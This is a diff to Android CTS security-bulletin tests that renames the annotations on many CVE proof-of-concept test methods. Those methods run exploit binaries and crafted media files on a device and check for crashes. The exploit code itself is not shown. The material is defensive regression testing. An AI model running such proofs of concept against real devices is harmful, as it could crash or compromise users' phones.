diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc18_06.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc18_06.java
index c0aab3b..63cdf56 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc18_06.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc18_06.java
@@ -16,7 +16,7 @@
 
 package android.security.cts;
 
-import android.platform.test.annotations.SecurityTest;
+import android.platform.test.annotations.AsbSecurityTest;
 import org.junit.Test;
 import org.junit.runner.RunWith;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
@@ -30,7 +30,7 @@
      * CVE-2018-5884
      */
     @Test
-    @SecurityTest(minPatchLevel = "2018-06")
+    @AsbSecurityTest(cveBugId = 74235510)
     public void testPocCVE_2018_5884() throws Exception {
         String wfd_service = AdbUtils.runCommandLine(
                 "pm list package com.qualcomm.wfd.service", getDevice());
@@ -46,7 +46,7 @@
      *  b/73172817
      */
     @Test
-    @SecurityTest
+    @AsbSecurityTest(cveBugId = 73172817)
     public void testPocCVE_2018_9344() throws Exception {
         AdbUtils.runPocAssertNoCrashes("CVE-2018-9344", getDevice(),
                 "android\\.hardware\\.cas@\\d+?\\.\\d+?-service");
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc18_07.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc18_07.java
index 64929d9..1147658 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc18_07.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc18_07.java
@@ -16,7 +16,7 @@
 
 package android.security.cts;
 
-import android.platform.test.annotations.SecurityTest;
+import android.platform.test.annotations.AsbSecurityTest;
 import org.junit.Test;
 import org.junit.runner.RunWith;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
@@ -30,7 +30,7 @@
     * b/76221123
     */
     @Test
-    @SecurityTest(minPatchLevel = "2018-07")
+    @AsbSecurityTest(cveBugId = 76221123)
     public void testPocCVE_2018_9424() throws Exception {
         AdbUtils.runPocAssertNoCrashes(
             "CVE-2018-9424", getDevice(), "android\\.hardware\\.drm@\\d\\.\\d-service");
@@ -40,7 +40,7 @@
      * CVE-2017-18275
      */
     @Test
-    @SecurityTest(minPatchLevel = "2018-07")
+    @AsbSecurityTest(cveBugId = 78242049)
     public void testPocCVE_2017_18275() throws Exception {
       String command =
           "am startservice "
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc18_10.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc18_10.java
index 45cb327..a8b9050 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc18_10.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc18_10.java
@@ -16,7 +16,7 @@
 
 package android.security.cts;
 
-import android.platform.test.annotations.SecurityTest;
+import android.platform.test.annotations.AsbSecurityTest;
 import org.junit.Test;
 import org.junit.runner.RunWith;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
@@ -30,7 +30,7 @@
      *  b/111641492
      */
     @Test
-    @SecurityTest(minPatchLevel = "2018-10")
+    @AsbSecurityTest(cveBugId = 111641492)
     public void testPocCVE_2018_9515() throws Exception {
         AdbUtils.runCommandLine("rm /sdcard/Android/data/CVE-2018-9515", getDevice());
         AdbUtils.runCommandLine("mkdir /sdcard/Android/data/CVE-2018-9515", getDevice());
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc18_11.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc18_11.java
index 0abe1bb..e6ca50b 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc18_11.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc18_11.java
@@ -16,7 +16,7 @@
 
 package android.security.cts;
 
-import android.platform.test.annotations.SecurityTest;
+import android.platform.test.annotations.AsbSecurityTest;
 import org.junit.Test;
 import org.junit.runner.RunWith;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
@@ -30,7 +30,7 @@
      *  b/113027383
      */
     @Test
-    @SecurityTest(minPatchLevel = "2018-11")
+    @AsbSecurityTest(cveBugId = 113027383)
     public void testPocCVE_2018_9539() throws Exception {
         AdbUtils.runPocAssertExitStatusNotVulnerable("CVE-2018-9539", getDevice(), 300);
     }
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc19_03.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc19_03.java
index 5977b4a..1e56873 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc19_03.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc19_03.java
@@ -16,7 +16,7 @@
 
 package android.security.cts;
 
-import android.platform.test.annotations.SecurityTest;
+import android.platform.test.annotations.AsbSecurityTest;
 import org.junit.Test;
 import org.junit.runner.RunWith;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
@@ -29,7 +29,7 @@
      * b/115739809
      */
     @Test
-    @SecurityTest(minPatchLevel = "2019-03")
+    @AsbSecurityTest(cveBugId = 115739809)
     public void testPocBug_115739809() throws Exception {
         assertFalse(AdbUtils.runPocCheckExitCode("Bug-115739809", getDevice(), 30));
     }
@@ -38,7 +38,7 @@
      * b/116855682
      */
     @Test
-    @SecurityTest(minPatchLevel = "2019-03")
+    @AsbSecurityTest(cveBugId = 116855682)
     public void testPocCVE_2019_2025() throws Exception {
         AdbUtils.runPocNoOutput("CVE-2019-2025", getDevice(), 300);
     }
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc19_05.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc19_05.java
index ae739f5..a22fc97 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc19_05.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc19_05.java
@@ -16,7 +16,7 @@
 
 package android.security.cts;
 
-import android.platform.test.annotations.SecurityTest;
+import android.platform.test.annotations.AsbSecurityTest;
 import org.junit.Test;
 import org.junit.runner.RunWith;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
@@ -29,7 +29,7 @@
      * CVE-2019-2257
      */
     @Test
-    @SecurityTest(minPatchLevel = "2019-05")
+    @AsbSecurityTest(cveBugId = 112303441)
     public void testPocCVE_2019_2257() throws Exception {
         String result = AdbUtils.runCommandLine(
                                 "dumpsys package com.qualcomm.qti.telephonyservice", getDevice());
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc19_07.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc19_07.java
index 8ce2804..71cb84d 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc19_07.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc19_07.java
@@ -16,7 +16,7 @@
 
 package android.security.cts;
 
-import android.platform.test.annotations.SecurityTest;
+import android.platform.test.annotations.AsbSecurityTest;
 import org.junit.Test;
 import org.junit.runner.RunWith;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
@@ -29,7 +29,7 @@
      * Bug-137878930
      */
     @Test
-    @SecurityTest(minPatchLevel = "2019-07")
+    @AsbSecurityTest(cveBugId = 137878930)
     public void testPocBug_137878930() throws Exception {
         assertFalse("Heap use after free encountered",
             AdbUtils.runPocCheckExitCode("Bug-137878930", getDevice(), 300));
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc20_01.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc20_01.java
index 3c6d4b3..5a8f4d7 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc20_01.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc20_01.java
@@ -1,6 +1,6 @@
 package android.security.cts;
 
-import android.platform.test.annotations.SecurityTest;
+import android.platform.test.annotations.AsbSecurityTest;
 import org.junit.Test;
 import org.junit.runner.RunWith;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
@@ -13,7 +13,7 @@
      * CVE-2019-14002
      */
     @Test
-    @SecurityTest(minPatchLevel = "2020-01")
+    @AsbSecurityTest(cveBugId = 142271274)
     public void testPocCVE_2019_14002() throws Exception {
         String result =
                 AdbUtils.runCommandLine(
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc20_03.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc20_03.java
index ea944ab..5b9bb22 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc20_03.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc20_03.java
@@ -16,7 +16,7 @@
 
 package android.security.cts;
 
-import android.platform.test.annotations.SecurityTest;
+import android.platform.test.annotations.AsbSecurityTest;
 import org.junit.Test;
 import org.junit.runner.RunWith;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
@@ -31,7 +31,7 @@
      * b/152874234
      */
     @Test
-    @SecurityTest(minPatchLevel = "2020-03")
+    @AsbSecurityTest(cveBugId = 147882143)
     public void testPocCVE_2020_0069() throws Exception {
         if(containsDriver(getDevice(), "/dev/mtk_cmdq") ||
            containsDriver(getDevice(), "/proc/mtk_cmdq") ||
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc20_06.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc20_06.java
index bd8f3cd..6ed83c1 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc20_06.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc20_06.java
@@ -16,7 +16,7 @@
 
 package android.security.cts;
 
-import android.platform.test.annotations.SecurityTest;
+import android.platform.test.annotations.AsbSecurityTest;
 import org.junit.Test;
 import org.junit.runner.RunWith;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
@@ -30,7 +30,7 @@
      * CVE-2020-3635
      */
     @Test
-    @SecurityTest(minPatchLevel = "2020-06")
+    @AsbSecurityTest(cveBugId = 148817146)
     public void testPocCVE_2020_3635() throws Exception {
         String isApplicable = AdbUtils.runCommandLine("service list", getDevice());
         if (isApplicable.contains("com.qualcomm.qti.IPerfManager")) {
@@ -47,7 +47,7 @@
      * CVE-2020-3626
      */
     @Test
-    @SecurityTest(minPatchLevel = "2020-06")
+    @AsbSecurityTest(cveBugId = 150697952)
     public void testPocCVE_2020_3626() throws Exception {
         String isApplicable =
                 AdbUtils.runCommandLine("pm list package com.qualcomm.qti.lpa", getDevice());
@@ -62,7 +62,7 @@
      * CVE-2020-3628
      */
     @Test
-    @SecurityTest(minPatchLevel = "2020-06")
+    @AsbSecurityTest(cveBugId = 150695508)
     public void testPocCVE_2020_3628() throws Exception {
         String result = AdbUtils.runCommandLine(
                 "pm list package com.qualcomm.qti.logkit",getDevice());
@@ -73,7 +73,7 @@
      * CVE-2020-3676
      */
     @Test
-    @SecurityTest(minPatchLevel = "2020-06")
+    @AsbSecurityTest(cveBugId = 152310294)
     public void testPocCVE_2020_3676() throws Exception {
         String isApplicable = AdbUtils.runCommandLine("service list", getDevice());
         if (isApplicable.contains("com.qualcomm.qti.IPerfManager")) {
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc20_11.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc20_11.java
index 627f098..bd2a761 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc20_11.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc20_11.java
@@ -16,7 +16,7 @@
 
 package android.security.cts;
 
-import android.platform.test.annotations.SecurityTest;
+import android.platform.test.annotations.AsbSecurityTest;
 import org.junit.Test;
 import org.junit.runner.RunWith;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
@@ -31,7 +31,7 @@
      * b/162741784
      */
     @Test
-    @SecurityTest(minPatchLevel = "2020-11")
+    @AsbSecurityTest(cveBugId = 162741784)
     public void testPocCVE_2020_0437() throws Exception {
         assumeFalse(moduleIsPlayManaged("com.google.android.cellbroadcast"));
         AdbUtils.runCommandLine("logcat -c", getDevice());
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc21_01.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc21_01.java
index 711949a..e555700 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc21_01.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc21_01.java
@@ -16,7 +16,7 @@
 
 package android.security.cts;
 
-import android.platform.test.annotations.SecurityTest;
+import android.platform.test.annotations.AsbSecurityTest;
 import org.junit.Test;
 import org.junit.runner.RunWith;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
@@ -31,7 +31,7 @@
      * b/168211968
      */
     @Test
-    @SecurityTest(minPatchLevel = "2021-01")
+    @AsbSecurityTest(cveBugId = 168211968)
     public void testPocCVE_2021_0318() throws Exception {
         AdbUtils.runPocAssertExitStatusNotVulnerable("CVE-2021-0318", getDevice(), 300);
     }
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/TestMedia.java b/hostsidetests/securitybulletin/src/android/security/cts/TestMedia.java
index 05c9749..36bcd0d 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/TestMedia.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/TestMedia.java
@@ -20,7 +20,7 @@
 import com.android.tradefed.log.LogUtil.CLog;
 import com.android.compatibility.common.util.CrashUtils;
 
-import android.platform.test.annotations.SecurityTest;
+import android.platform.test.annotations.AsbSecurityTest;
 import org.junit.Test;
 import org.junit.runner.RunWith;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
@@ -52,8 +52,8 @@
      * b/17769851
      * Vulnerability Behaviour: EXIT_VULNERABLE (113)
      */
-    @SecurityTest(minPatchLevel = "2015-12")
     @Test
+    @AsbSecurityTest(cveBugId = 17769851)
     public void testPocCVE_2015_6616() throws Exception {
         pocPusher.only64();
         String inputFiles[] = {"cve_2015_6616.mp4"};
@@ -65,8 +65,8 @@
      * b/37239013
      * Vulnerability Behaviour: EXIT_VULNERABLE (113)
      */
-    @SecurityTest(minPatchLevel = "2017-07")
     @Test
+    @AsbSecurityTest(cveBugId = 37239013)
     public void testPocCVE_2017_0697() throws Exception {
         String inputFiles[] = {"cve_2017_0697.mp4"};
         AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2017-0697",
@@ -77,8 +77,8 @@
      * b/127702368
      * Vulnerability Behaviour: EXIT_VULNERABLE (113)
      */
-    @SecurityTest(minPatchLevel = "2019-08")
     @Test
+    @AsbSecurityTest(cveBugId = 127702368)
     public void testPocCVE_2019_2126() throws Exception {
         AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2019-2126", null, getDevice());
     }
@@ -87,8 +87,8 @@
      * b/66969349
      * Vulnerability Behaviour: SIGSEGV in media.codec
      */
-    @SecurityTest(minPatchLevel = "2018-01")
     @Test
+    @AsbSecurityTest(cveBugId = 66969349)
     public void testPocCVE_2017_13180() throws Exception {
         String processPatternStrings[] = {"media\\.codec", "omx@\\d+?\\.\\d+?-service"};
         AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2017-13180", null, getDevice(),
@@ -99,8 +99,8 @@
      * b/111210196
      * Vulnerability Behaviour: EXIT_VULNERABLE (113)
      */
-    @SecurityTest(minPatchLevel = "2019-12")
     @Test
+    @AsbSecurityTest(cveBugId = 111210196)
     public void testPocCVE_2019_2228() throws Exception {
         String inputFiles[] = {"cve_2019_2228_ipp.mp4"};
         AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2019-2228",
@@ -111,8 +111,8 @@
      * b/157650336
      * Vulnerability Behaviour: SIGSEGV in self / EXIT_VULNERABLE (113)
      */
-    @SecurityTest(minPatchLevel = "2020-11")
     @Test
+    @AsbSecurityTest(cveBugId = 157650336)
     public void testPocCVE_2020_0450() throws Exception {
         AdbUtils.assumeHasNfc(getDevice());
         AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2020-0450", null, getDevice());
@@ -122,8 +122,8 @@
      * b/156997193
      * Vulnerability Behaviour: SIGABRT in self
      */
-    @SecurityTest(minPatchLevel = "2020-11")
     @Test
+    @AsbSecurityTest(cveBugId = 156997193)
     public void testPocCVE_2020_0409() throws Exception {
         String signals[] = {CrashUtils.SIGSEGV, CrashUtils.SIGBUS, CrashUtils.SIGABRT};
         String binaryName = "CVE-2020-0409";
@@ -137,8 +137,8 @@
      * b/161894517
      * Vulnerability Behaviour: SIGABRT in self
      */
-    @SecurityTest(minPatchLevel = "2020-10")
     @Test
+    @AsbSecurityTest(cveBugId = 161894517)
     public void testPocCVE_2020_0421() throws Exception {
         String signals[] = {CrashUtils.SIGSEGV, CrashUtils.SIGBUS, CrashUtils.SIGABRT};
         String binaryName = "CVE-2020-0421";
@@ -152,8 +152,8 @@
      * b/132082342
      * Vulnerability Behaviour: SIGSEGV in self
      */
-    @SecurityTest(minPatchLevel = "2019-08")
     @Test
+    @AsbSecurityTest(cveBugId = 132082342)
     public void testPocCVE_2019_2133() throws Exception {
         AdbUtils.assumeHasNfc(getDevice());
         AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2019-2133", null, getDevice());
@@ -163,8 +163,8 @@
      * b/132083376
      * Vulnerability Behaviour: SIGSEGV in self
      */
-    @SecurityTest(minPatchLevel = "2019-08")
     @Test
+    @AsbSecurityTest(cveBugId = 132083376)
     public void testPocCVE_2019_2134() throws Exception {
         AdbUtils.assumeHasNfc(getDevice());
         AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2019-2134", null, getDevice());
@@ -174,8 +174,8 @@
      * b/31470908
      * Vulnerability Behaviour: SIGSEGV in self
      */
-    @SecurityTest(minPatchLevel = "2017-04")
     @Test
+    @AsbSecurityTest(cveBugId = 31470908)
     public void testPocCVE_2016_10244() throws Exception {
         String inputFiles[] = {"cve_2016_10244"};
         AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2016-10244",
@@ -186,8 +186,8 @@
      * b/27793367
      * Vulnerability Behaviour: SIGSEGV in media.codec
      */
-    @SecurityTest(minPatchLevel = "2016-06")
     @Test
+    @AsbSecurityTest(cveBugId = 27793367)
     public void testPocCVE_2016_2485() throws Exception {
         String inputFiles[] = {"cve_2016_2485.raw"};
         String processPatternStrings[] = {"media\\.codec", "omx@\\d+?\\.\\d+?-service"};
@@ -200,8 +200,8 @@
      * b/141890807
      * Vulnerability Behaviour: EXIT_VULNERABLE (113)
      */
-    @SecurityTest(minPatchLevel = "2020-01")
     @Test
+    @AsbSecurityTest(cveBugId = 141890807)
     public void testPocCVE_2020_0007() throws Exception {
         AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2020-0007", null, getDevice());
     }
@@ -210,8 +210,8 @@
      * b/118372692
      * Vulnerability Behaviour: SIGSEGV in self
      */
-    @SecurityTest(minPatchLevel = "2019-02")
     @Test
+    @AsbSecurityTest(cveBugId = 118372692)
     public void testPocCVE_2019_1988() throws Exception {
         assumeThat(getDevice().getProperty("ro.config.low_ram"), not(is("true")));
         String inputFiles[] = {"cve_2019_1988.mp4"};
@@ -223,8 +223,8 @@
      * b/63522430
      * Vulnerability Behaviour: SIGSEGV in media.codec
      */
-    @SecurityTest(minPatchLevel = "2018-01")
     @Test
+    @AsbSecurityTest(cveBugId = 63522430)
     public void testPocCVE_2017_0817() throws Exception {
         String processPatternStrings[] = {"media\\.codec", "omx@\\d+?\\.\\d+?-service"};
         AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2017-0817", null, getDevice(),
@@ -235,8 +235,8 @@
      * b/36104177
      * Vulnerability Behaviour: EXIT_VULNERABLE (113)
      */
-    @SecurityTest(minPatchLevel = "2017-09")
     @Test
+    @AsbSecurityTest(cveBugId = 36104177)
     public void testPocCVE_2017_0670() throws Exception {
         AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2017-0670", null, getDevice());
     }
@@ -245,8 +245,8 @@
      * b/68159767
      * Vulnerability Behaviour: EXIT_VULNERABLE (113)
      */
-    @SecurityTest(minPatchLevel = "2018-02")
     @Test
+    @AsbSecurityTest(cveBugId = 68159767)
     public void testPocCVE_2017_13234() throws Exception {
         String inputFiles[] = { "cve_2017_13234.xmf" };
         AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2017-13234",
@@ -257,8 +257,8 @@
      * b/64340921
      * Vulnerability Behaviour: SIGABRT in audioserver
      */
-    @SecurityTest(minPatchLevel = "2018-02")
     @Test
+    @AsbSecurityTest(cveBugId = 64340921)
     public void testPocCVE_2017_0837() throws Exception {
         String signals[] = {CrashUtils.SIGSEGV, CrashUtils.SIGBUS, CrashUtils.SIGABRT};
         AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig("CVE-2017-0837", getDevice());
@@ -274,7 +274,7 @@
      * Vulnerability Behaviour: SIGABRT by -fstack-protector
      */
     @Test
-    @SecurityTest(minPatchLevel = "2018-09")
+    @AsbSecurityTest(cveBugId = 62151041)
     public void testPocCVE_2018_9466_CVE_2017_9047() throws Exception {
         String binaryName = "CVE-2018-9466-CVE-2017-9047";
         String signals[] = {CrashUtils.SIGSEGV, CrashUtils.SIGBUS, CrashUtils.SIGABRT};
@@ -288,7 +288,7 @@
      * Vulnerability Behaviour: SIGABRT by -fstack-protector
      */
     @Test
-    @SecurityTest(minPatchLevel = "2018-09")
+    @AsbSecurityTest(cveBugId = 62151041)
     public void testPocCVE_2018_9466_CVE_2017_9048() throws Exception {
         String binaryName = "CVE-2018-9466-CVE-2017-9048";
         String signals[] = {CrashUtils.SIGSEGV, CrashUtils.SIGBUS, CrashUtils.SIGABRT};
@@ -302,7 +302,7 @@
      * Vulnerability Behaviour: SIGSEGV in self
      */
     @Test
-    @SecurityTest(minPatchLevel = "2018-09")
+    @AsbSecurityTest(cveBugId = 62151041)
     public void testPocCVE_2018_9466_CVE_2017_9049() throws Exception {
         String binaryName = "CVE-2018-9466-CVE-2017-9049";
         String inputFiles[] = {"cve_2018_9466_cve_2017_9049.xml"};
@@ -320,7 +320,7 @@
      * Vulnerability Behaviour: SIGSEGV in self
      */
     @Test
-    @SecurityTest(minPatchLevel = "2018-09")
+    @AsbSecurityTest(cveBugId = 62151041)
     public void testPocCVE_2018_9466_CVE_2017_9050() throws Exception {
         String binaryName = "CVE-2018-9466-CVE-2017-9049";
         String inputFiles[] = {"cve_2018_9466_cve_2017_9050.xml"};
@@ -338,8 +338,8 @@
      * b/23247055
      * Vulnerability Behaviour: SIGABRT in self
      */
-    @SecurityTest(minPatchLevel = "2015-10")
     @Test
+    @AsbSecurityTest(cveBugId = 20674086)
     public void testPocCVE_2015_3873() throws Exception {
         String inputFiles[] = {"cve_2015_3873.mp4"};
         String binaryName = "CVE-2015-3873";
@@ -357,8 +357,8 @@
      * b/62948670
      * Vulnerability Behaviour: SIGSEGV in media.codec
      */
-    @SecurityTest(minPatchLevel = "2017-11")
     @Test
+    @AsbSecurityTest(cveBugId = 62948670)
     public void testPocCVE_2017_0840() throws Exception {
         pocPusher.only32();
         String processPatternStrings[] = {"media\\.codec", "omx@\\d+?\\.\\d+?-service"};
@@ -370,8 +370,8 @@
      * b/69065651
      * Vulnerability Behaviour: SIGSEGV in media.codec
      */
-    @SecurityTest(minPatchLevel = "2018-02")
     @Test
+    @AsbSecurityTest(cveBugId = 69065651)
     public void testPocCVE_2017_13241() throws Exception {
         pocPusher.only32();
         String processPatternStrings[] = {"media\\.codec", "omx@\\d+?\\.\\d+?-service"};
@@ -383,8 +383,8 @@
      * b/111603051
      * Vulnerability Behaviour: SIGSEGV in self
      */
-    @SecurityTest(minPatchLevel = "2018-10")
     @Test
+    @AsbSecurityTest(cveBugId = 111603051)
     public void testPocCVE_2018_9491() throws Exception {
         AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2018-9491", null, getDevice());
     }
@@ -393,8 +393,8 @@
      * b/79662501
      * Vulnerability Behaviour: EXIT_VULNERABLE (113)
      */
-    @SecurityTest(minPatchLevel = "2018-09")
     @Test
+    @AsbSecurityTest(cveBugId = 79662501)
     public void testPocCVE_2018_9472() throws Exception {
         AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2018-9472", null, getDevice());
     }
@@ -403,8 +403,8 @@
      * b/36554207
      * Vulnerability Behaviour: SIGSEGV in self
      **/
-    @SecurityTest(minPatchLevel = "2017-06")
     @Test
+    @AsbSecurityTest(cveBugId = 36554207)
     public void testPocCVE_2016_4658() throws Exception {
         String inputFiles[] = {"cve_2016_4658.xml"};
         AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2016-4658",
@@ -416,8 +416,8 @@
      * b/36554209
      * Vulnerability Behaviour: SIGSEGV in self
      **/
-    @SecurityTest(minPatchLevel = "2017-06")
     @Test
+    @AsbSecurityTest(cveBugId = 36554209)
     public void testPocCVE_2016_5131() throws Exception {
         String inputFiles[] = {"cve_2016_5131.xml"};
         AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2016-5131",
@@ -429,8 +429,8 @@
      * b/62800140
      * Vulnerability Behaviour: SIGSEGV in self
      */
-    @SecurityTest(minPatchLevel = "2017-10")
     @Test
+    @AsbSecurityTest(cveBugId = 62800140)
     public void testPocCVE_2017_0814() throws Exception {
         AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2017-0814", null, getDevice());
     }
@@ -439,8 +439,8 @@
      * b/65540999
      * Vulnerability Behaviour: Assert failure
      **/
-    @SecurityTest(minPatchLevel = "2017-11")
     @Test
+    @AsbSecurityTest(cveBugId = 65540999)
     public void testPocCVE_2017_0847() throws Exception {
         String cmdOut = AdbUtils.runCommandLine("ps -eo cmd,gid | grep mediametrics", getDevice());
         if (cmdOut.length() > 0) {
@@ -457,8 +457,8 @@
      * b/112005441
      * Vulnerability Behaviour: EXIT_VULNERABLE (113)
      */
-    @SecurityTest(minPatchLevel = "2019-09")
     @Test
+    @AsbSecurityTest(cveBugId = 112005441)
     public void testPocCVE_2019_9313() throws Exception {
         AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2019-9313", null, getDevice());
     }
@@ -467,8 +467,8 @@
      * b/112159345
      * Vulnerability Behaviour: SIGSEGV in self
      **/
-    @SecurityTest(minPatchLevel = "2018-01")
     @Test
+    @AsbSecurityTest(cveBugId = 112159345)
     public void testPocCVE_2018_9527() throws Exception {
         AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2018-9527", null, getDevice());
     }
@@ -482,8 +482,8 @@
      * b/158762825
      * Vulnerability Behaviour: SIGABRT in self
      */
-    @SecurityTest(minPatchLevel = "2020-11")
     @Test
+    @AsbSecurityTest(cveBugId = 158762825)
     public void testPocCVE_2020_0451() throws Exception {
         assumeFalse(moduleIsPlayManaged("com.google.android.media.swcodec"));
         String inputFiles[] = {"cve_2020_0451.aac"};
@@ -503,8 +503,8 @@
      * Vulnerability Behaviour: SIGSEGV in self (Android P),
      *                          SIGABRT in self (Android Q onward)
      */
-    @SecurityTest(minPatchLevel = "2018-11")
     @Test
+    @AsbSecurityTest(cveBugId = 112891564)
     public void testPocCVE_2018_9537() throws Exception {
         String binaryName = "CVE-2018-9537";
         String signals[] = {CrashUtils.SIGSEGV, CrashUtils.SIGBUS, CrashUtils.SIGABRT};
@@ -527,8 +527,8 @@
      * b/143464314
      * Vulnerability Behaviour: SIGSEGV in self / EXIT_VULNERABLE (113)
      */
-    @SecurityTest(minPatchLevel = "2020-10")
     @Test
+    @AsbSecurityTest(cveBugId = 143464314)
     public void testPocCVE_2020_0213() throws Exception {
         assumeFalse(moduleIsPlayManaged("com.google.android.media.swcodec"));
         String inputFiles[] = {"cve_2020_0213.hevc", "cve_2020_0213_info.txt"};
@@ -541,8 +541,8 @@
      * b/166268541
      * Vulnerability Behaviour: SIGSEGV in media.swcodec
      */
-    @SecurityTest(minPatchLevel = "2020-12")
     @Test
+    @AsbSecurityTest(cveBugId = 166268541)
     public void testPocCVE_2020_0470() throws Exception {
         String inputFiles[] = {"cve_2020_0470.mp4"};
         String processPatternStrings[] = {"media\\.swcodec"};
@@ -555,8 +555,8 @@
      * b/120426980
      * Vulnerability Behaviour: SIGABRT in self
      */
-    @SecurityTest(minPatchLevel = "2019-09")
     @Test
+    @AsbSecurityTest(cveBugId = 120426980)
     public void testPocCVE_2019_9362() throws Exception {
         String signals[] = {CrashUtils.SIGSEGV, CrashUtils.SIGBUS, CrashUtils.SIGABRT};
         String binaryName = "CVE-2019-9362";
@@ -570,8 +570,8 @@
      * b/112661742
      * Vulnerability Behaviour: SIGABRT in self
      */
-    @SecurityTest(minPatchLevel = "2019-09")
     @Test
+    @AsbSecurityTest(cveBugId = 112661742)
     public void testPocCVE_2019_9308() throws Exception {
         String inputFiles[] = {"cve_2019_9308.mp4"};
         String binaryName = "CVE-2019-9308";
@@ -589,8 +589,8 @@
      * b/112662995
      * Vulnerability Behaviour: SIGABRT in self
      */
-    @SecurityTest(minPatchLevel = "2019-09")
     @Test
+    @AsbSecurityTest(cveBugId = 112662995)
     public void testPocCVE_2019_9357() throws Exception {
         String signals[] = {CrashUtils.SIGSEGV, CrashUtils.SIGBUS, CrashUtils.SIGABRT};
         String binaryName = "CVE-2019-9357";
@@ -604,8 +604,8 @@
      * b/109891727
      * Vulnerability Behaviour: SIGSEGV in media.codec
      */
-    @SecurityTest(minPatchLevel = "2019-09")
     @Test
+    @AsbSecurityTest(cveBugId = 109891727)
     public void testPocCVE_2019_9347() throws Exception {
         pocPusher.only32();
         String processPatternStrings[] = {"media\\.codec", "omx@\\d+?\\.\\d+?-service"};
diff --git a/hostsidetests/packagemanager/boottest/app/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2021-0481/Android.bp
similarity index 75%
copy from hostsidetests/packagemanager/boottest/app/Android.bp
copy to hostsidetests/securitybulletin/test-apps/CVE-2021-0481/Android.bp
index d1a3271..db36d6f 100644
--- a/hostsidetests/packagemanager/boottest/app/Android.bp
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0481/Android.bp
@@ -12,20 +12,21 @@
